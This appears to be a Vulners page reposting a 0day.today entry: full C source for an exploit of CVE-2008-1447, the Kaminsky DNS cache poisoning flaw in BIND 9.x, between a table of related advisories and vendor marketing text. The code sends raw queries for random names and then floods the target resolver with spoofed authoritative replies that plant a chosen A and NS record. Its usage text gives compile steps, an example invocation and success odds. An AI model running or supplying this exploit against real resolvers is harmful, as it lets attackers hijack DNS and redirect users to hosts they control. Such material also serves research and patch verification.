| Reporter | Title | Published | Views | Family All 275 |
|---|---|---|---|---|
| Security fix for the ALT Linux 5 package ruby version 1.8.7-alt6 | 12 Aug 200800:00 | – | altlinux | |
| Security fix for the ALT Linux 8 package bind version 9.3.5-alt2 | 6 Jun 200800:00 | – | altlinux | |
| Security fix for the ALT Linux 5 package bind version 9.3.5-alt2 | 6 Jun 200800:00 | – | altlinux | |
| Security fix for the ALT Linux 6 package bind version 9.3.5-alt2 | 6 Jun 200800:00 | – | altlinux | |
| Security fix for the ALT Linux 9 package bind version 9.3.5-alt2 | 6 Jun 200800:00 | – | altlinux | |
| BIND 9.4.1-9.4.2 Remote DNS Cache Poisoning Flaw Exploit (meta) | 23 Jul 200800:00 | – | zdt | |
| BIND 9.x Remote DNS Cache Poisoning Flaw Exploit (py) | 24 Jul 200800:00 | – | zdt | |
| ISC BIND DNS Query ID Field Prediction Cache Poisoning (deprecated) | 18 Aug 200400:00 | – | nessus | |
| DNS Server Source Port 53 Query Usage | 22 Jul 200800:00 | – | nessus | |
| Mac OS X < 10.5.5 Multiple Vulnerabilities | 16 Sep 200800:00 | – | nessus |
====================================================
BIND 9.x Remote DNS Cache Poisoning Flaw Exploit (c)
====================================================
/*
* Exploit for CVE-2008-1447 - Kaminsky DNS Cache Poisoning Attack
*
* Compilation:
* $ gcc -o kaminsky-attack kaminsky-attack.c `dnet-config --libs` -lm
*
* Dependency: libdnet (aka libdumbnet-dev under Ubuntu)
*
* Author: marc.bevand at rapid7 dot com
*/
#define _BSD_SOURCE
#include <sys/types.h>
#include <err.h>
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <math.h>
#include <time.h>
#include <unistd.h>
#include <dumbnet.h>
#define DNSF_RESPONSE (1<<15)
#define DNSF_AUTHORITATIVE (1<<10)
#define DNSF_REC_DESIRED (1<<8)
#define DNSF_REC_AVAILABLE (1<<7)
#define TYPE_A 0x1
#define TYPE_NS 0x2
#define CLASS_IN 0x1
struct dns_pkt
{
uint16_t txid;
uint16_t flags;
uint16_t nr_quest;
uint16_t nr_ans;
uint16_t nr_auth;
uint16_t nr_add;
} __attribute__ ((__packed__));
void format_domain(u_char *buf, unsigned size, unsigned *len, const char *name)
{
unsigned bufi, i, j;
bufi = i = j = 0;
while (name[i])
{
if (name[i] == '.')
{
if (bufi + 1 + (i - j) > size)
fprintf(stderr, "format_domain overflow\n"), exit(1);
buf[bufi++] = i - j;
memcpy(buf + bufi, name + j, i - j);
bufi += i - j;
j = i + 1;
}
i++;
}
if (bufi + 1 + 2 + 2 > size)
fprintf(stderr, "format_domain overflow\n"), exit(1);
buf[bufi++] = 0;
*len = bufi;
}
void format_qr(u_char *buf, unsigned size, unsigned *len, const char *name, uint16_t type, uint16_t class)
{
uint16_t tmp;
// name
format_domain(buf, size, len, name);
// type
tmp = htons(type);
memcpy(buf + *len, &tmp, sizeof (tmp));
*len += sizeof (tmp);
// class
tmp = htons(class);
memcpy(buf + *len, &tmp, sizeof (tmp));
*len += sizeof (tmp);
}
void format_rr(u_char *buf, unsigned size, unsigned *len, const char *name, uint16_t type, uint16_t class, uint32_t ttl, const char *data)
{
format_qr(buf, size, len, name, type, class);
// ttl
ttl = htonl(ttl);
memcpy(buf + *len, &ttl, sizeof (ttl));
*len += sizeof (ttl);
// data length + data
uint16_t dlen;
struct addr addr;
switch (type)
{
case TYPE_A:
dlen = sizeof (addr.addr_ip);
break;
case TYPE_NS:
dlen = strlen(data) + 1;
break;
default:
fprintf(stderr, "format_rr: unknown type %02x", type);
exit(1);
}
dlen = htons(dlen);
memcpy(buf + *len, &dlen, sizeof (dlen));
*len += sizeof (dlen);
// data
unsigned len2;
switch (type)
{
case TYPE_A:
if (addr_aton(data, &addr) < 0)
fprintf(stderr, "invalid destination IP: %s", data), exit(1);
memcpy(buf + *len, &addr.addr_ip, sizeof (addr.addr_ip));
*len += sizeof (addr.addr_ip);
break;
case TYPE_NS:
format_domain(buf + *len, size - *len, &len2, data);
*len += len2;
break;
default:
fprintf(stderr, "format_rr: unknown type %02x", type);
exit(1);
}
}
void dns_query(u_char *buf, unsigned size, unsigned *len, uint16_t txid, uint16_t flags, const char *name)
{
u_char *out = buf;
struct dns_pkt p = {
.txid = htons(txid),
.flags = htons(flags),
.nr_quest = htons(1),
.nr_ans = htons(0),
.nr_auth = htons(0),
.nr_add = htons(0),
};
u_char qr[256];
unsigned l;
format_qr(qr, sizeof (qr), &l, name, TYPE_A, CLASS_IN);
if (sizeof (p) + l > size)
fprintf(stderr, "dns_query overflow"), exit(1);
memcpy(out, &p, sizeof (p));
out += sizeof (p);
memcpy(out, qr, l);
out += l;
*len = sizeof (p) + l;
}
void dns_response(u_char *buf, unsigned size, unsigned *len,
uint16_t txid, uint16_t flags,
const char *q_name, const char *q_ip,
const char *domain, const char *auth_name, const char *auth_ip)
{
u_char *out = buf;
u_char *end = buf + size;
u_char rec[256];
unsigned l_rec;
uint32_t ttl = 24*3600;
struct dns_pkt p = {
.txid = htons(txid),
.flags = htons(flags),
.nr_quest = htons(1),
.nr_ans = htons(1),
.nr_auth = htons(1),
.nr_add = htons(1),
};
(void)domain;
*len = 0;
if (out + *len + sizeof (p) > end)
fprintf(stderr, "dns_response overflow"), exit(1);
memcpy(out + *len, &p, sizeof (p)); *len += sizeof (p);
// queries
format_qr(rec, sizeof (rec), &l_rec, q_name, TYPE_A, CLASS_IN);
if (out + *len + l_rec > end)
fprintf(stderr, "dns_response overflow"), exit(1);
memcpy(out + *len, rec, l_rec); *len += l_rec;
// answers
format_rr(rec, sizeof (rec), &l_rec, q_name, TYPE_A, CLASS_IN,
ttl, q_ip);
if (out + *len + l_rec > end)
fprintf(stderr, "dns_response overflow"), exit(1);
memcpy(out + *len, rec, l_rec); *len += l_rec;
// authoritative nameservers
format_rr(rec, sizeof (rec), &l_rec, domain, TYPE_NS, CLASS_IN,
ttl, auth_name);
if (out + *len + l_rec > end)
fprintf(stderr, "dns_response overflow"), exit(1);
memcpy(out + *len, rec, l_rec); *len += l_rec;
// additional records
format_rr(rec, sizeof (rec), &l_rec, auth_name, TYPE_A, CLASS_IN,
ttl, auth_ip);
if (out + *len + l_rec > end)
fprintf(stderr, "dns_response overflow"), exit(1);
memcpy(out + *len, rec, l_rec); *len += l_rec;
}
unsigned build_query(u_char *buf, const char *srcip, const char *dstip, const char *name)
{
unsigned len = 0;
// ip
struct ip_hdr *ip = (struct ip_hdr *)buf;
ip->ip_hl = 5;
ip->ip_v = 4;
ip->ip_tos = 0;
ip->ip_id = rand() & 0xffff;
ip->ip_off = 0;
ip->ip_ttl = IP_TTL_MAX;
ip->ip_p = 17; // udp
ip->ip_sum = 0;
struct addr addr;
if (addr_aton(srcip, &addr) < 0)
fprintf(stderr, "invalid source IP: %s", srcip), exit(1);
ip->ip_src = addr.addr_ip;
if (addr_aton(dstip, &addr) < 0)
fprintf(stderr, "invalid destination IP: %s", dstip), exit(1);
ip->ip_dst = addr.addr_ip;
// udp
struct udp_hdr *udp = (struct udp_hdr *)(buf + IP_HDR_LEN);
udp->uh_sport = htons(1234);
udp->uh_dport = htons(53);
// dns
dns_query(buf + IP_HDR_LEN + UDP_HDR_LEN,
(unsigned)(sizeof (buf) - (IP_HDR_LEN + UDP_HDR_LEN)), &len,
rand(), DNSF_REC_DESIRED, name);
// udp len
len += UDP_HDR_LEN;
udp->uh_ulen = htons(len);
// ip len & cksum
len += IP_HDR_LEN;
ip->ip_len = htons(len);
ip_checksum(buf, len);
return len;
}
unsigned build_response(u_char *buf, const char *srcip, const char *dstip,
uint16_t port_resolver, uint16_t txid,
const char *q_name, const char *q_ip,
const char *domain, const char *auth_name, const char *auth_ip)
{
unsigned len = 0;
// ip
struct ip_hdr *ip = (struct ip_hdr *)buf;
ip->ip_hl = 5;
ip->ip_v = 4;
ip->ip_tos = 0;
ip->ip_id = rand() & 0xffff;
ip->ip_off = 0;
ip->ip_ttl = IP_TTL_MAX;
ip->ip_p = 17; // udp
ip->ip_sum = 0;
struct addr addr;
if (addr_aton(srcip, &addr) < 0)
fprintf(stderr, "invalid source IP: %s", srcip), exit(1);
ip->ip_src = addr.addr_ip;
if (addr_aton(dstip, &addr) < 0)
fprintf(stderr, "invalid destination IP: %s", dstip), exit(1);
ip->ip_dst = addr.addr_ip;
// udp
struct udp_hdr *udp = (struct udp_hdr *)(buf + IP_HDR_LEN);
udp->uh_sport = htons(53);
udp->uh_dport = htons(port_resolver);
// dns
dns_response(buf + IP_HDR_LEN + UDP_HDR_LEN,
(unsigned)(sizeof (buf) - (IP_HDR_LEN + UDP_HDR_LEN)), &len,
txid, DNSF_RESPONSE | DNSF_AUTHORITATIVE,
q_name, q_ip, domain, auth_name, auth_ip);
// udp len
len += UDP_HDR_LEN;
udp->uh_ulen = htons(len);
// ip len & cksum
len += IP_HDR_LEN;
ip->ip_len = htons(len);
ip_checksum(buf, len);
return len;
}
void usage(char *name)
{
fprintf(stderr, "Usage: %s <ip-querier> <ip-resolver> <ip-authoritative> "
"<port-resolver> <subhost> <domain> <any-ip> <attempts> <repl-per-attempt>\n"
" <ip-querier> Source IP used when sending queries for random hostnames\n"
" (typically your IP)\n"
" <ip-resolver> Target DNS resolver to attack\n"
" <ip-authoritative> One of the authoritative DNS servers for <domain>\n"
" <port-resolver> Source port used by the resolver when forwarding queries\n"
" <subhost> Poison the cache with the A record <subhost>.<domain>\n"
" <domain> Domain name, see <subhost>.\n"
" <any-ip> IP of your choice to be associated to <subhost>.<domain>\n"
" <attempts> Number of poisoning attemps, more attempts increase the\n"
" chance of successful poisoning, but also the attack time\n"
" <repl-per-attempt> Number of spoofed replies to send per attempt, more replies\n"
" increase the chance of successful poisoning but, but also\n"
" the rate of packet loss\n"
"Example:\n"
" $ %s q.q.q.q r.r.r.r a.a.a.a 1234 pwned example.com. 1.1.1.1 8192 16\n"
"This should cause a pwned.example.com A record resolving to 1.1.1.1 to appear\n"
"in r.r.r.r's cache. The chance of successfully poisoning the resolver with\n"
"this example (8192 attempts and 16 replies/attempt) is 86%%\n"
"(1-(1-16/65536)**8192). This example also requires a bandwidth of about\n"
"2.6 Mbit/s (16 replies/attempt * ~200 bytes/reply * 100 attempts/sec *\n"
"8 bits/byte) and takes about 80 secs to complete (8192 attempts /\n"
"100 attempts/sec).\n",
name, name);
}
int main(int argc, char **argv)
{
if (argc != 10)
usage(argv[0]), exit(1);
const char *querier = argv[1];
const char *ip_resolver = argv[2];
const char *ip_authoritative = argv[3];
uint16_t port_resolver = (uint16_t)strtoul(argv[4], NULL, 0);
const char *subhost = argv[5];
const char *domain = argv[6];
const char *anyip = argv[7];
uint16_t attempts = (uint16_t)strtoul(argv[8], NULL, 0);
uint16_t replies = (uint16_t)strtoul(argv[9], NULL, 0);
if (domain[strlen(domain) - 1 ] != '.')
fprintf(stderr, "domain must end with dot(.): %s\n", domain), exit(1);
printf("Chance of success: 1-(1-%d/65536)**%d = %.2f\n", replies, attempts, 1 - pow((1 - replies / 65536.), attempts));
srand(time(NULL));
int unique = rand() + (rand() << 16);
u_char buf[IP_LEN_MAX];
unsigned len;
char name[256];
char ns[256];
ip_t *iph;
if ((iph = ip_open()) == NULL)
err(1, "ip_open");
int cnt = 0;
while (cnt < attempts)
{
// send a query for a random hostname
snprintf(name, sizeof (name), "%08x%08x.%s", unique, cnt, domain);
len = build_query(buf, querier, ip_resolver, name);
if (ip_send(iph, buf, len) != len)
err(1, "ip_send");
// give the resolver enough time to forward the query and be in a state
// where it waits for answers; sleeping 10ms here limits the number of
// attempts to 100 per sec
usleep(10000);
// send spoofed replies, each reply contains:
// - 1 query: query for the "random hostname"
// - 1 answer: "random hostname" A 1.1.1.1
// - 1 authoritative nameserver: <domain> NS <subhost>.<domain>
// - 1 additional record: <subhost>.<domain> A <any-ip>
snprintf(ns, sizeof (ns), "%s.%s", subhost, domain);
unsigned r;
for (r = 0; r < replies; r++)
{
// use a txid that is just 'r': 0..(replies-1)
len = build_response(buf, ip_authoritative, ip_resolver,
port_resolver, r, name, "1.1.1.1", domain, ns, anyip);
if (ip_send(iph, buf, len) != len)
err(1, "ip_send");
}
cnt++;
}
ip_close(iph);
return 0;
}
# 0day.today [2018-01-01] #Data
Build on a solid foundation with Vulners data
We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data
Api
Power your application with Vulners API
The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access
App
Assess and manage vulnerabilities with Vulners tools
Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation